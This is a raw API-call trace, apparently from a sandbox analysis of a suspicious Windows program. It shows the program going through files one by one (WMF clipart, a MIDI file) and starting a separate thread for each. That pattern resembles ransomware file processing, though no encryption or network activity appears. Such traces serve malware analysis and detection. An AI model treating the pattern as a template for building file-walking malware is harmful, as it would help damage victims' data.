	[0198.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1308
	[0198.146] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.146] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1
	[0198.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130c
	[0198.149] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.150] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1
	[0198.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1310
	[0198.152] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.153] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1
	[0198.153] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1314
	[0198.367] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.403] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1
	[0198.403] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1318
	[0198.414] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.415] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1
	[0198.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x131c
	[0198.416] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.417] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1
	[0198.417] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1320
	[0198.420] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.420] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1
	[0198.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1324
	[0198.423] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.424] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1
	[0198.424] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1328
	[0198.426] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.426] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1
	[0198.427] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x132c
	[0198.429] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.429] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1
	[0198.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1330
	[0198.432] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.432] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1
	[0198.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1334
	[0198.435] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.436] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1
	[0198.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1338
	[0198.439] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.439] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1
	[0198.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x133c
	[0198.441] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.442] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1
	[0198.442] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1340
	[0198.659] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.683] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1
	[0198.684] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1344
	[0198.700] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.701] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1
	[0198.702] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1348
	[0198.705] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.706] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1
	[0198.706] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134c
	[0198.709] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.710] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1
	[0198.710] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1350
	[0198.713] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.713] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1
	[0198.713] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1354
	[0198.716] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.717] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1
	[0198.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1358
	[0198.720] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.720] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x72, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1
	[0198.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x135c
	[0198.723] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.723] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x72, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1
	[0198.723] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1360
	[0198.726] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.727] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1
	[0198.727] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1364
	[0198.730] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.730] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1
	[0198.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1368
	[0198.955] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.980] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x72, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1
	[0198.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x136c
	[0198.986] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.987] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1
	[0198.987] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1370
	[0198.992] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.993] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1
